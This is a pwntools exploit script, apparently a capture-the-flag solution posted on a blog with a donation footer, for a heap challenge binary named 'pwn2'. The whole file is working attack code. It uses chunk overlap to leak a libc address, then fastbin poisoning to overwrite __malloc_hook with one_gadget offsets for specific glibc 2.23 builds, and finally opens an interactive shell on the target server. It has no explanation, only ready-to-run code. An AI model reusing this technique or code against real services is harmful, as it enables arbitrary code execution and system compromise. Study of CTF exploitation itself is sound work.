72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
from LibcSearcher import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn2'

# remote server ip and port
server_ip = "172.20.2.11"
server_port = 25688

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(idx, sz):
sla('ce\n', '1')
sla('>>', str(idx))
sla('>>', str(sz))

def rm(idx):
sla('ce\n', '2')
sla('>>', str(idx))

def md(idx, d):
sla('ce\n', '3')
sla('>>', str(idx))
sa('>>', d)

def dp(idx):
sla('ce\n', '5')
sla('>>', str(idx))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
for i in range(5):
ad(i, 0x10)

for i in range(5):
rm(i)

ad(0, 0x80)
ad(1, 0x68)
ad(2, 0x68)
ad(3, 0x80)
ad(4, 0x68)


p = b'A' * 0x60
p += p64(0x90 + 0x70 + 0x70) + b'\x90'
md(2, p)
rm(1)
rm(2)
rm(0)
rm(3)

ad(0, 0x80)
dp(0)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00') - 584 - 0x10
li('leak ' + hex(leak))

lib = LibcSearcher('__malloc_hook', leak)

libc_base = leak - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207] # libc.so.6
#gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897] # libc6_2.23-0ubuntu3_amd64
#gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # libc6_2.23-0ubuntu10_amd64.so
one_gadget = libc_base + gadget[1]
#one_gadget = libc_base + libc.sym['puts']
li('libc_base ' + hex(libc_base))

p = b'A' * 0x60 + p64(0) + p64(0x71)
p += p64(leak - 0x23)
p += b'\n'
ad(4, 0xa0)
md(4, p)
ad(5, 0x68)

p = b'A' * (0x13 - 8)
p += p64(one_gadget)
p += p64(realloc + 2)
p += b'\n'
ad(6, 0x68)
md(6, p)
#db()
li('libc_base ' + hex(libc_base))
#li('libc: ' + hex(lib.dump('__malloc_hook')))

ad(7, 0x10)

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
libc_path = '/glibc/2.23/64/lib/libc.so.6'
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
elf = ELF(elf_path)
libc_path = './libc6_2.23-0ubuntu10_amd64.so'
libc_path = './libc6_2.23-0ubuntu3_amd64.so'
libc_path = './libc.so.6'
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

打赏点小钱
支付宝 | Alipay
微信 | WeChat